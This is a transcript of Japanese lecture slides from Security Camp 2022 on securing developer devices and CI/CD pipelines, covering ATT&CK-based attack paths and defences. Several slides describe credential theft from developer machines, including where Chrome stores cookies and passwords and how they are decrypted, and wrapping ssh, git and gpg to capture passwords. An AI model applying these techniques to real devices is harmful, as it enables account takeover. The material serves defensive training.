開発環境のセキュリティおよびCI/CDパイプラインのセキュア化

English Version is here
---
実施: セキュリティ・キャンプ全国大会2022
発表者: Hiroki SUEZAWA (@rung)
演習レポジトリ: https://github.com/rung/training-devenv-security

スライド内容 :
この10年で、ソフトウェアを開発する環境は大きく変化してきました。DevOpsカルチャーの浸透や、Cloud基盤の利用の増加を受け、ソフトウェアはCI/CDパイプラインを通じてデプロイされるようになりました。また、開発はオフィス内だけでなく、会社の外でも実施されるようになりました。
本スライドでは、現代のプロダクション環境を攻撃および保護するためにはどのような手法を用いることができるのか、主にマルウェアなどを用いたクライアントサイドへの攻撃や、サプライチェーン攻撃の視点から、総合的に攻撃手法および対策を説明した上で、ハンズオン演習を行います。

[目次]
○ 1章: Introduction - 開発環境の変化と攻撃の流れ
下記の概要を把握し、クライアントサイドからの攻撃パスがあることを理解します
・最近の開発環境の変化
・開発環境の変化による攻撃パスの違い
・標的型攻撃の概要と攻撃手法のモデル

○ 2章: 開発端末に残るもの
開発端末に対する攻撃に成功すると何が起きるのか、実際に演習を通じて学び、開発者として出来ることを考えます
・標的型攻撃の流れの把握
・開発者端末でのCredential Access
・守りかたを考える

○ 3章: CI/CDパイプラインのセキュリティ
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険なのかを、演習を通じて学びます
・CI/CDパイプラインの理解
・CI/CDパイプラインを狙った攻撃の理解と実践
・守りかたの理解と実践と限界

[演習内容] (https://github.com/rung/training-devenv-security)
・Preparation: Google Cloud and GitHubのセットアップ
・Exercise 1: 開発端末内のクレデンシャル調査
・Exercise 2: クレデンシャルのセキュア化
・Exercise 3: CI/CDとInfrastructure as Codeを試す
・Exercise 4: CI/CD Attacks
・Exercise 5: CI/CD pipelineのセキュア化

Transcript

1. 開発環境のセキュリティおよび
   CI/CDパイプラインのセキュア化
   Dangerous attack paths: Modern Development Environment Security
   - Devices and CI/CD pipelines
   セキュリティキャンプ全国大会2022 Webセキュリティクラス
   Aug, 10th 2022
   Hiroki SUEZAWA
   日本語版 (Japanese Version) v1.0.4
   

   View Slide

2. Who am I?
   ● Title
   ○ Senior Security Engineer at Mercari, Inc.
   ■ Security Architect, Automation, DFIR
   ■ Mercari Security Teamの紹介
   ● Career, Presentations
   ○ https://www.suezawa.net
   ○ Application基盤の仕組みを作るPlatform Teamと仕
   事をしています
   ■ CI/CD Securityの攻撃手法マップの作成
   ■ 社内のKubernetes Security脅威分析・セキュ
   リティアーキテクチャデザイン
   ■ Supply-Chain Attacksのインシデント対応など
   @rung
   @rung
   Hiroki SUEZAWA
   (末澤 裕希)
   /in/suezawa
   2
   

   View Slide

3. Disclaimers
   ● 本資料で学んだことを、悪用しないでください
   ● 演習内容
   ○ https://github.com/rung/training-devenv-security
   ● English Version
   ○ https://speakerdeck.com/rung/training-devenv-security-en
   3
   

   View Slide

4. 想定ターゲット
   セキュリティキャンプ全国大会2022 Webセキュリティクラス
   ● Software Engineer, Site Reliability Engineering Team, Platform Engineer
   ○ Webアプリケーションの開発をする人・基盤を管理、運用する人
   ● Security Architect
   ○ 上記の人たちと協働してセキュリティデザインを行う人
   主なターゲット
   Software Engineer
   SRE/Platform
   上記と協働する
   Security Architect
   Application
   Infrastructure
   今回の想定ターゲット外
   社内ITチーム
   その他のセキュリティチーム
   (SOC, Security Complianceなど)
   4
   

   View Slide

5. ゴール
   Threat Modelingによる
   リスクの特定サイクル
   (Microsoft)
   Purple Teaming
   攻撃目線・防御目線の協力
   によるセキュリティ改善
   (SANS)
   5
   ● Webアプリケーションを直接狙わない、開発環境経由
   の攻撃シナリオを把握する
   ● NISTなどのセキュリティフレームワークや各種ベスト
   プラクティス、Public Cloud/SaaSなどの提供するセ
   キュリティ機能について、開発環境観点からの重要度
   の判断や、それらに足りていない項目の把握ができる
   ようになる
   ● ベストプラクティスの確立していない新しい開発技術
   においても、Threat Modelingや設計が出来るようにな
   る
   

   View Slide

6. Application Developmentのトレンド
   ● DevOps
   ○ 開発者と運用者の協力・融合
   ■ 高頻度のデプロイメント
   ■ 短期間での変更
   ■ 開発者も運用に関わるようになった
   ○ オートメーション
   ■ CI (Continuous Integration)
   ■ CD (Continuous Delivery)
   ● Infrastructure as codeとGitOpsなどの流れ
   ○ Gitを用いてコードでインフラを管理
   ○ Immutable infrastructure
   ■ 既にあるサーバにアップデートを当てるの
   ではなく、コンテナなどを用いて、毎度ビ
   ルドしなおしアップデートはコンテナごと
   入れ替えるという流れになった
   6
   

   View Slide

7. スコープ
   本講義では攻撃者による開発環境からの攻撃手法を扱う
   （サーバ側経由での攻撃はスコープ外）
   7
   “守りたい場所”
   スコープ
   

   View Slide

8. アジェンダ
   1. Introduction -
   開発環境の変化と攻撃の流れ
   2. 開発端末に残るもの
   3. CI/CDパイプラインの
   セキュリティ
   下記の概要を把握し、クライアントサイドからの攻撃パスがあ
   ることを理解します
   ● 最近の開発環境の変化
   ● 開発環境の変化による攻撃パスの違い
   ● 標的型攻撃の概要と攻撃手法のモデル
   開発端末に対する攻撃に成功すると何が起きるのか、実際に演
   習を通じて学び、開発者として出来ることを考えます
   ● 標的型攻撃の流れの把握
   ● 開発者端末でのCredential Access
   ● 守りかたを考える
   8
   新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
   なのかを、演習を通じて学びます
   ● CI/CDパイプラインの理解
   ● CI/CDパイプラインを狙った攻撃の理解と実践
   ● 守りかたの理解と実践と限界
   

   View Slide

9. 演習内容
   ● 演習レポジトリ
   ○ https://github.com/rung/training-devenv-security
   ● 演習内容
   ○ Preparation: Google Cloud and GitHubのセットアップ
   ○ Exercise 1: 開発端末内のクレデンシャル調査
   ○ Exercise 2: クレデンシャルのセキュア化
   ○ Exercise 3: CI/CDとInfrastructure as Codeを試す
   ○ Exercise 4: CI/CDへの攻撃
   ○ Exercise 5: CI/CD pipelineのセキュア化
   9
   

   View Slide

10. 1. Introduction -
    開発環境の変化と攻撃の流れ
    10
    

    View Slide

11. アジェンダ
    1. Introduction -
    開発環境の変化と攻撃の流れ
    3. CI/CDパイプラインの
    セキュリティ
    2. 開発端末に残るもの
    開発端末に対する攻撃に成功すると何が起きるのか、実際に演
    習を通じて学び、開発者として出来ることを考えます
    ● 標的型攻撃の流れの把握
    ● 開発者端末でのCredential Access
    ● 守りかたを考える
    11
    新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
    なのかを、演習を通じて学びます
    ● CI/CDパイプラインの理解
    ● CI/CDパイプラインを狙った攻撃の理解と実践
    ● 守りかたの理解と実践と限界
    下記の概要を把握し、クライアントサイドからの攻撃パスがあ
    ることを理解します
    ● 最近の開発環境の変化
    ● 開発環境の変化による攻撃パスの違い
    ● 標的型攻撃の概要と攻撃手法のモデル
    

    View Slide

12. この講義で扱う環境
    ● 最近採用されることの多い構成
    ○ IDaaS(Identity as a Service)などを用いたインターネット経由のシングルサインオン・社内
    ネットワークの不使用
    ○ Source Code ManagementおよびCI/CDパイプラインの利用
    ○ Public Cloudの利用 12
    “守りたい場所”
    つくるアプリケーションを
    守る方法を考える
    

    View Slide

13. 利用されるサービスの例
    13
    IDaaS
    (Identity as a Service)
    Okta, OneLogin, Azure AD, Google Workspace
    ソースコード管理 GitHub, GitLab
    CI/CD
    GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Google Cloud
    Build, AWS CodePipeline, Spinnaker(CD), ArgoCD(CD)
    Public Cloud Amazon Web Services, Google Cloud, Microsoft Azure
    

    View Slide

14. この講義で扱う攻撃
    スコープ内
    Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT
    Admin経由の攻撃はスコープ外
    Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など
    スコープ外
    Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性
    を狙った攻撃、Webアプリケーションの利用者を狙った攻撃
    IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 14
    “守りたい場所”
    つくるアプリケーション
    を守る方法を考える
    スコープ
    

    View Slide

15. 1. Introduction - 開発環境の変化と攻撃の流れ
    1.最近の開発環境の変化
    最近の開発環境周辺の変化と、なぜ今回開発端末とCI/CDパイプラインのセ
    キュリティを扱うのかについて説明する
    15
    

    View Slide

16. 最近の開発環境の変化
    以前の開発環境
    ● 閉じたネットワークごとの信頼境界を持つアーキテクチャ
    ● Active Directoryの使用・自社管理
    ● 社内ネットワークを通じたサーバへのログイン
    16
    

    View Slide

17. 最近の開発環境の変化
    以前の開発環境の課題
    17
    同一ネットワーク経由で
    の、脆弱性を突いた別端末
    への横展開
    脆弱性や認証不備などを突い
    た、社内端末からのドメインコ
    ントローラ全体の掌握
    同一ネットワーク内を狙ったリレー
    攻撃などによる認証情報の奪取
    弱い認証方法による
    サーバログイン
    

    View Slide

18. 最近の開発環境の変化
    開発環境の変化の理由
    ● 上記により、今回扱う開発環境の想定は下記とする
    ○ IDaaSなどを用いたインターネット経由のシングルサインオン・社内ネット
    ワークの不使用
    ○ Source Code ManagementおよびCI/CDパイプラインの利用
    ○ Public Cloudの利用
    業務環境の変化 ● SaaS(Software as a Service): 守る情報が外に移った
    ● 業務環境: 会社だけでなく外でも働くようになった
    脅威の変化 ● 外からの攻撃だけでなく、標的型攻撃などによる中からの攻撃も考
    慮が必要になった
    ● サプライチェーンリスクが顕在化した
    サーバの管理 ● CI/CDパイプライン: インフラのコード管理、自動デプロイメント
    やコンテナの活用による安定した運用が行われるようになった
    ● Public Cloud: ソフトウェアエンジニアも基盤を触るようになった
    18
    

    View Slide

19. 最近の開発環境の変化
    (再掲)この講義で扱う攻撃
    スコープ内
    Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT
    Admin経由の攻撃はスコープ外
    Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など
    スコープ外
    Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性
    を狙った攻撃、Webアプリケーションの利用者を狙った攻撃
    IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 19
    “守りたい場所”
    つくるアプリケーション
    を守る方法を考える
    スコープ
    

    View Slide

20. ● なぜ開発者の端末(2章)とCI/CDパイプラインのセキュリティ(3章)が重要か
    ○ その攻撃パスを用いたプロダクション侵害が可能だから
    最近の開発環境の変化
    開発環境のセキュリティとCI/CDパイプライン
    守りたい場所
    1. 開発環境が標的型攻撃
    の起点になることが多い
    から
    2. CI/CDは、本番環境
    につながる新たな攻撃
    パスだから
    20
    

    View Slide

21. 1. Introduction - 開発環境の変化と攻撃の流れ
    2.開発環境の変化による攻撃パスの違い
    開発環境周辺の変化によって生まれる変化を考えます
    21
    

    View Slide

22. 開発環境の変化による攻撃パスの違い
    攻撃に対する考え方
    ● 攻撃の考え方は環境が変化しても変わらない
    ○ 目的を持って、権限昇格・横移動・認証情報の取得を繰り返し侵入を広げていく
    ○ Bloodhound: Active Directory環境においてゴール(高権限アクセス・ドメインコント
    ローラー掌握など)に向けての攻撃パスを描いてくれるツール
    ■ Active Directoryがない環境でも、攻撃の考え方は同様
    BloodHound – Sniffing Out the Path Through Windows Domains
    攻撃者は、グラフを探索することで、高い価値を持つ資産へ
    の複数のパスを発見します。
    …
    防御側として何ができるでしょうか。まず、最初のステップは
    リストをグラフに変えてネットワークを可視化することです。
    次に、グラフ（攻撃パス）をなくすためのコントロールを実装し
    ます。
    Defenders think in lists. Attackers think in graphs. As long as
    this is true, attackers win. - Microsoft Blog
    (防御側はリストで考える。攻撃者はグラフで考える。それが正し
    い限り、攻撃者が勝利する )
    22
    

    View Slide

23. 開発環境の変化による攻撃パスの違い
    (再掲)以前の開発環境の課題
    23
    同一ネットワーク経由で
    の、脆弱性を突いた別端末
    への横展開
    脆弱性や認証不備などを突い
    た、社内端末からのドメインコ
    ントローラ全体の掌握
    同一ネットワーク内を狙ったリレー
    攻撃などによる認証情報の奪取
    弱い認証方法による
    サーバログイン
    

    View Slide

24. 開発環境の変化による攻撃パスの違い
    開発者環境の変化: ゴールに到達する攻撃パスの増加
    ●ネットワーク経由での直接の横展
    開は難しくなった
    ●残る攻撃
    ○社内フィッシング攻撃による横
    展開
    ○ファイル共有汚染
    ○コミュニケーションツールを利
    用したソーシャルエンジニアリ
    ングなど
    攻撃パスが増えた
    認証の方式が変わった
    Active Directoryはな
    くなった
    DevOpsのトレンドやクラウ
    ドの普及により、多くの開発
    者が直接基盤を扱う機会が増
    えた
    ※ 組織により実際の利用サービス・設定は異なる
    守りたい場所
    IDaaSやデバイス管理はSaaSのためサーバ管理は
    別の会社が行うようになった
    一般デバイスから直接侵害される可能性は減った
    24
    

    View Slide

25. 1. Introduction - 開発環境の変化と攻撃の流れ
    3.標的型攻撃の概要と攻撃手法のモデル
    標的型攻撃がどのように行われるのか、具体例と、攻撃の流れを説明するモデ
    ルを用いて考えます。そして、具体的な攻撃手法に基づくセキュリティの共通
    言語であるATT&CKを学びます。
    25
    

    View Slide

26. 標的型攻撃の概要と攻撃手法のモデル
    スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ
    (参考) Anatomy of an APT attack: Step by step approach - Infosec Resources
    日本における有名な標的型攻撃の例: CoinCheck事件 (2018) 26
    Attacker
    1.Reconnaissance
    (情報収集)
    2.Initial Foothold
    (初期侵入)
    3.Lateral Movement
    (横移動)
    Spear
    Phishing
    C2 Server
    C2: Command & Control
    4. Exfiltration
    (持ち出し)
    Device
    Data of Interest
    

    View Slide

27. 標的型攻撃の概要と攻撃手法のモデル
    3rd partyツールやソフトウェアの依存関係などを狙ったサプライチェーン攻撃
    ● 全フェーズにおいて、3rd partyツールやソフトウェアに依存している
    ● 依存関係における一か所が侵害されると、そのまま侵入に繋がる
    ● ソフトウェアは大量の依存関係を持つ (Kubernetesの例) 27
    2021:
    CodeCov bash uploader hacked
    PHP.net hacked
    PyPI.org’s vulnerability
    Homebrew Cask’s vulnerability
    …
    Public Cloud
    

    View Slide

28. 標的型攻撃の概要と攻撃手法のモデル
    攻撃ライフサイクルの説明モデル: Cyber Kill Chain
    28
    Objectives
    Impact
    Exfiltration
    Collection
    Access
    Lateral
    Movement
    Credential
    Access
    Execution
    Privilege
    Escalation
    Discovery
    Pivoting
    Command
    & Control
    Defense
    Evasion
    Persistence
    Exploitation
    Social
    Engineering
    Delivery
    ● Unified Cyber Kill Chain 「Cyber Kill Chain」というモデルの改良モデル
    ○ 初期侵入から目的達成までの、標的型攻撃全体のライフサイクルを説明
    するモデル
    ○ 攻撃はこのように、初期侵入後、侵入・遠隔操作・横移動・権限昇格・
    認証情報アクセスなどを繰り返しながら目的に到達する
    Weaponization
    Reconnaissance
    Access
    Initial Foothold - Compromised System
    Pivoting
    Network Propagation - Internal Network
    Action on objectives - Critical Asset Access
    

    View Slide

29. 標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkとは
    ● MITRE ATT&CK Framework
    ○ 今回の講義でメインで用いる、TTPs(攻撃者の攻撃手法)を説明するフレーム
    ワーク
    29
    

    View Slide

30. ● なぜMITRE ATT&CK Frameworkか
    標的標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkとは
    ATT&CK succinctly organizes adversary tactics and techniques along
    with providing a common language used across security disciplines.
    (訳) ATT&CKは攻撃者の技術と戦術を簡潔に整理し、セキュリティ組織にお
    いて使用する共通言語を提供します。
    MITRE ATT&CK: Design and Philosophy
    ● 共通言語(Common Language)として使用できる
    ○ セキュリティ組織内での共通言語として使用できる
    ○ (経験的に) コミュニティにより常に更新され、内容にも
    具体性があるため、開発組織（ソフトウェアエンジニア
    ・SREなど）とセキュリティ組織とのコミュニケーショ
    ンにおいてもATT&CKをベースにしてコミュニケーショ
    ンすることが出来る
    Cyber Threat
    Intelligence
    Detection &
    Analysis
    Threat
    Emulation
    Assessment &
    Engineering
    30
    

    View Slide

31. 標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkとは
    Reconnaissance The adversary is trying to gather information they can use to plan future operations.
    Resource Development The adversary is trying to establish resources they can use to support operations.
    Initial Access The adversary is trying to get into your network.
    Execution The adversary is trying to run malicious code.
    Persistence The adversary is trying to maintain their foothold.
    Privilege Escalation The adversary is trying to gain higher-level permissions.
    Defense Evasion The adversary is trying to avoid being detected.
    Credential Access The adversary is trying to steal account names and passwords.
    Discovery The adversary is trying to figure out your environment.
    Lateral Movement The adversary is trying to move through your environment.
    Collection The adversary is trying to gather data of interest to their goal.
    Command and Control The adversary is trying to communicate with compromised systems to control them.
    Exfiltration The adversary is trying to steal data.
    Impact The adversary is trying to manipulate, interrupt, or destroy your systems and data.
    Tactics一覧
    31
    

    View Slide

32. 標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkとは
    複数の領域のMATRIXが用意されている
    画像: MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Trainingより
    それぞれの戦術(Tactic)に対して、Techniqueが紐づく
    32
    

    View Slide

33. 標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkとは
    ● Techniques, Mitigation and Detection
    Home > Techniques > Enterprise > Unsecured Credentials 33
    

    View Slide

34. 標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkとは
    ● (参考) 攻撃グループ
    Home > Groups 34
    

    View Slide

35. 標的型攻撃の概要と攻撃手法のモデル
    MITRE ATT&CK Frameworkの意義
    ● 攻撃パスの全体像および、具体的なTTPs(攻撃者が使っている攻撃手法)を把握する
    ことで、一つ一つの対策が、攻撃をどのように緩和するのか、具体的に理解するこ
    とができる
    ○ 対策が難しい部分について、どの程度の攻撃アクター・手法を想定するかとい
    う観点も検討できる
    ● 利用例: Kubernetes Securityを、ATT&CKのContainer Matrixおよび
    ATT&CK-likeな情報をベースに対策の検討を行う
    ○ セキュリティ内: 具体的な防御の検討や監視の検討・実施を行う
    ○ 基盤開発チーム: アーキテクチャ・設定の検討・実施を行う
    ■ 基盤開発チームもUnified Cyber Kill Chainのような攻撃の全体像を理解
    し、攻撃の入口がサーバ経由だけでなく、マルウェアを利用した攻撃や
    サプライチェーン攻撃などもあることを理解することで、セキュリティ
    チームとさらによいコラボレーションが出来る
    35
    

    View Slide

36. 標的型攻撃の概要と攻撃手法のモデル
    (参考) セキュリティチームの基本原則
    ● セキュリティ対策の目的は、”攻撃を不可能にする”ではなく、”リスクを減らし許容可能なレベルまで
    減らす”
    ○ 攻撃ライフサイクル全体(Cyber Kill Chain)において、攻撃者の目的達成の難易度を上げる
    ● リスクを減らす手段は防止だけではない。防止できない場合も、他の手法によりリスク低減できる
    ○ 主なリスクの下げ方
    ■ Prevention: 防止 (既存の環境に影響を与える可能性がある)
    ■ Detection: 検知 (影響を与えずに実施ができる)
    ■ Directive: ルールや啓発
    ● その他の重要なコンセプト
    ○ Defence in depth (多層防御)
    ■ 侵入を前提として、Single Point Of Failureを作らず対策を積み重ねる
    ○ Least Privilege
    ■ 権限を最小化する
    ○ Secure by default
    ■ Secureな状態をデフォルトにする仕組みを作れると、利用者は迷わずにセキュアな状態を
    選ぶ。デフォルト状態を正しいものにする効果は行動経済学などでも提唱されている
    ● 参考: https://en.wikipedia.org/wiki/Default_effect
    36
    

    View Slide

37. 本章のまとめ
    ● 最近の開発環境の変化
    ○ 最近の開発環境周辺の変化を踏まえた上で、攻撃の起点となる開発端末と、新
    たな攻撃ポイントであるCI/CDパイプラインのセキュリティを扱う背景を説明
    した
    ● 開発環境の変化による攻撃パスの違い
    ○ 環境が変化しても、攻撃の考え方は変わらないこと、攻撃パスの違いを示した
    ● 標的型攻撃の概要と攻撃手法のモデル
    ○ 標的型攻撃について、スピアフィッシングを経由したマルウェアを用いたもの
    と、サプライチェーン攻撃の例を説明した上で、具体的な攻撃のステップを
    Unified Cyber Kill Chainを用いて説明した。その後、共通言語である
    ATT&CKフレームワークの内容および、対策の考え方を説明した
    37
    

    View Slide

38. 演習準備の実施
    ● 下記の演習準備を実施する
    ○ https://github.com/rung/training-devenv-security/tree/main/0-prepar
    ation
    ■ * 演習ではIDaaSは扱いません
    ● 終わった人は、MITRE ATT&CKフレームワークを確認する
    ○ https://attack.mitre.org/
    

    View Slide

39. 2. 開発端末に残るもの
    39
    

    View Slide

40. アジェンダ
    1. Introduction -
    開発環境の変化と攻撃の流れ
    2. 開発端末に残るもの
    3. CI/CDパイプラインの
    セキュリティ
    開発端末に対する攻撃に成功すると何が起きるのか、実際に演
    習を通じて学び、開発者として出来ることを考えます
    ● 標的型攻撃の流れの把握
    ● 開発者端末でのCredential Access
    ● 守りかたを考える
    40
    新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
    なのかを、演習を通じて学びます
    ● CI/CDパイプラインの理解
    ● CI/CDパイプラインを狙った攻撃の理解と実践
    ● 守りかたの理解と実践と限界
    下記の概要を把握し、クライアントサイドからの攻撃パスがあ
    ることを理解します
    ● 最近の開発環境の変化
    ● 開発環境の変化による攻撃パスの違い
    ● 標的型攻撃の概要と攻撃手法のモデル
    

    View Slide

41. 本章の位置付け
    ● 標的型攻撃の起点になることが多い、開発者の端末が今回のスコープ
    ○ 侵入されることを前提に、端末からどのようなものが窃取できるのかを考える
    初期侵入・権限昇格・環
    境調査・横展開・クレデ
    ンシャルアクセス・持ち
    出しなどが行われる
    守りたい場所
    41
    

    View Slide

42. 2. 開発端末に残るもの
    1.標的型攻撃の流れの把握
    前章で学んだATT&CKフレームワークをベースに、端末が攻撃が受けたときの
    攻撃の流れを把握します
    42
    

    View Slide

43. 標的型攻撃の流れの把握
    (再掲)スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ
    (参考) Anatomy of an APT attack: Step by step approach - Infosec Resources
    日本における有名な標的型攻撃の例: Coincheck事件 (2018) 43
    Attacker
    1.Reconnaissance
    (情報収集)
    2.Initial Foothold
    (初期侵入)
    3.Lateral Movement
    (横移動)
    Spear
    Phishing
    C2 Server
    C2: Command & Control
    4. Exfiltration
    (持ち出し)
    Device
    Data of Interest
    

    View Slide

44. 標的型攻撃の流れの把握
    開発端末におけるATT&CK
    偵察 初期侵入
    Windows
    Matrix
    コード実行 Post Exploitation
    Tactics抜粋 例
    Persistence Scheduled Task/Job
    権限昇格 Valid Accounts
    検知回避 Deobfuscate/Decode Files or
    Information
    Credential
    Access
    Steal Web Session Cookie
    環境調査
    (Discovery)
    Browser Bookmark Discovery
    横移動 Internal Spearphishing
    データ収集 Browser Session Hijacking
    持ち出し Exfiltration Over C2 Channel
    フィッシング・
    サプライチェーンなど 44
    

    View Slide

45. ● Command & Control
    ○ 遠隔操作型のマルウェアは操作を行うために、C2サー
    バと通信する
    ■ C2フレームワークの一覧: The C2 Matrix
    標的型攻撃の流れの把握
    Command & Control (C2)
    【補足】※本講義では詳細を扱わない
    Post-Exploitation全体を取り扱うツール:MetasploitやEmpireなど
    C2フレームワーク: Covenantなど
    Device
    (Victim)
    Attacker
    直接通信の場合
    一般サイトを経由の場合
    (検知回避などの目的)
    45
    * C3
    

    View Slide

46. 標的型攻撃の流れの把握
    端末から盗めるもの
    ● Credential Access
    ○ 端末に保管されているパスワードやWebの
    セッションへのアクセス
    ● Collection
    ○ ローカルやファイルサーバ・Slackなどの
    チャットサービスなどに保管されているデー
    タの収集
    今回はWebプロダクションに繋がる情報を直接持ち
    うるため、Credential Accessに注目する
    Windows
    Matrix
    46
    

    View Slide

47. 2. 開発端末に残るもの
    2.開発者端末でのCredential Access
    開発者端末が侵害された場合、どのようなCredentialが取られうるのか、実習
    も通して理解します
    47
    

    View Slide

48. 開発者端末でのCredential Access
    端末にあるCredentialを考える
    ● 端末目線から見たCredentialの利用と発行
    端末・Webブラウザ
    利用したいサービス
    (GitHub, Cloudなど)
    ※ シングルサインオンの仕組みやサービスによる差分
    は取り扱わない
    リダイレクト
    IDaaS
    (シングルサインオン)
    ユーザがCredentialを利用してログイン
    (例: ID, Password, 2要素認証情報など)
    セッション維持のためのIDaaSのCookieの発行
    (GitHubなど)
    セッション維持のためのサービスのCookieの発行
    ログイン
    Credentialの
    登録
    SSH Public Keyの登録
    Credentialの
    発行
    (GitHub, Cloud Serviceなど)
    48
    ● 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破される
    （演習で確認する）
    アクセストークン・Static Keyなどの発行
    

    View Slide

49. 開発者端末でのCredential Access
    端末にあるCredentialを考える
    Credential例 説明 ローカルでの保存形態
    Browser Cookie Chromeなどのブラウザに保管されたCookie OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵
    (AES-GCM)暗号化
    Browser Password Manager Chromeなどのブラウザに保管されたPassword OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵
    (AES-GCM)暗号化
    Browser Local Storage Chromeなどのブラウザに保管されたLocal Storage 平文
    SSH Private Key GitHubなどに登録したSSH Public Keyに紐づくPrivate Key 平文 or passphrase暗号化
    PGP Signing Key GitHubなどに登録したPGP Public Keyに紐づくPrivate Key 平文 or passphrase暗号化
    GitHub Token GitHubから発行されたトークン 平文
    AWS Access Key AWSから発行された長期鍵 平文
    AWS Security Token AWSから発行された一時トークン 平文
    Google Cloud Access Token Google Cloudから発行されたユーザIDでのアクセストークン 平文
    Google Cloud Service Account Key Google Cloudから発行されたサービスアカウントIDでのアクセストークン 平文
    Password Manager内のCredential 1PasswordやLastpassなどのパスワードマネージャー内のCredential
    ID/PasswordだけでなくSSH Key, トークン類, TOTPによる2FA情報なども
    含みうる
    (サービスによる)
    OSのセキュリティ機構(DPAPI/Keychain)とパスワードによ
    る組み合わせによる暗号化など 49
    

    View Slide

50. 開発者端末でのCredential Access
    Webブラウザのデータ
    ● ローカルマシンへの攻撃はChromeのThreat Modelのスコープ外とされている
    Why aren‘t physically-local attacks in Chrome’s threat model?
    …
    We consider these attacks outside Chrome's threat model, because there is no way for Chrome (or any application) to defend against a
    malicious user who has managed to log into your device as you, or who can run software with the privileges of your operating system user
    account.
    (要約) 物理的な攻撃は ChromeのThreat modelの範囲外。なぜなら Chromeがその攻撃に対して守る手段がないから
    Why aren‘t compromised/infected machines in Chrome’s threat model?
    Although the attacker may now be remote, the consequences are essentially the same as with physically-local attacks. The attacker's code,
    when it runs as your user account on your machine, can do anything you can do. (See also Microsoft's Ten Immutable Laws Of Security.)
    (要約) 侵害されたマシンも物理的な攻撃と同様
    Chromium Docs - Chrome Security FAQ
    50
    

    View Slide

51. 開発者端末でのCredential Access
    Webブラウザのデータ
    ● ChromeのProfileフォルダ
    Cookies
    or /Network/Cookies
    形式: SQLiteファイル
    暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用)
    参考: ATT&CKでの該当ページ
    History 形式: SQLite
    暗号化: なし
    Local Storage/ 形式: LevelDB
    暗号化: なし
    ※ アクセストークンなどをLocal Storageに保管する例がある
    Login Data 内容: Password
    形式: SQLiteファイル
    暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用)
    参考: ATT&CKでの該当ページ
    ※ Electronを用いて作られたローカルのアプリケーションも、
    Chromiumのため同様のディレクトリ構造
    51
    ● ChromeのCookieなどは、Remote Debugを用いてもパスワードなしで盗むことが
    できる(参考)。メモリダンプなどでも取得できる。
    

    View Slide

52. ● （フィッシング）SSO(シングルサインオン)などのログインページを模したフィッ
    シング攻撃によるセッション奪取
    ● （マルウェア侵入後）スクリプトによる実行ファイルのラップ
    ○ ラップした別のスクリプト用いて、ユーザにパスワードを入力させることで平
    文パスワードを手に入れる
    開発者端末でのCredential Access
    その他のCredentialの窃取例
    ID, Password, TOTPトークン ID, Password, TOTPトークン
    ログイン成功
    偽ログインページ 正規ログインページ
    Device
    52
    SSH
    git
    gpg
    Password入力
    アップロード
    正規実行
    ファイル
    

    View Slide

53. 演習1: What credentials your PC has
    ● 下記の演習を実施する
    ○ https://github.com/rung/training-devenv-security/tree/main/1-exercise1
    ● ゴール
    ○ 自分のPCにあるクレデンシャルを把握する
    53
    

    View Slide

54. (参考) ChromeのCookieとPasswordのファイル暗号化
    54
    Windows Mac
    https://github.com/rung/HackChromeData
    1. Extract Symmetric key
    Local State
    (Encrypted symmetric key) DPAPI
    Application symmetric key
    Application
    Keychain
    (Chrome Safe
    Storage)
    Local Password
    Seed
    Symmetric key = PBKDF2(Seed, "saltysalt", 1003, 16, sha1.New)
    2. Decrypt Cookie and Password
    The symmetric key can decrypt Cookie and Password.
    Windows: AES-GCM
    Mac: AES-CBC
    Cookie, Password(Login Data)
    SQLite3 Format
    ● Decrypt Chrome Cookie and Password
    

    View Slide

55. 2. 開発端末に残るもの
    3.守りかたを考える
    開発端末にCredentialがたくさんあることを前章で見てきました。その上で、
    攻撃のリスクを下げる(攻撃を難しくする)ために、どのようなことが出来るか
    を考えます
    55
    

    View Slide

56. 守りかたを考える
    Credentialの種類
    ● 端末から取得したCredentialsの種類を分ける
    ○ 認証に必要なCredential
    ■ ID/Password
    ■ パスワードマネージャーに入りうるTOTP Seed, クライアント証明書など
    ○ 初期認証が終わったあとに登録・取得するCredential
    ■ ブラウザに保管されたCookie
    ■ GitHubのTokenやSSH Key
    ■ Public Cloudのトークン・鍵
    56
    

    View Slide

57. 守りかたを考える
    (参考) 認証に必要なCredential
    ● 認証を守る
    ○ WebAuthnなどによる、ネットワーク越しに盗めない機構(Security
    KeyやDeviceの暗号Chipなど)を用いてオリジンベースで認証する仕組みを用いる (参考)
    ■ External Authenticator(Security Key), On-Device Authenticator(Touch IDなど)
    ● 2FA(2要素認証)の強度
    Type Password Cracking Resistant
    (Brute force/Credential Stuffing)
    Phishing Resistant Hardware-Protected
    (秘密鍵の取り出し防止)
    Password Only Weak Weak Weak
    TOTP (e.g. Google
    Authenticator)
    Strong Weak Weak
    SMS / Voice / Email Strong Weak Weak
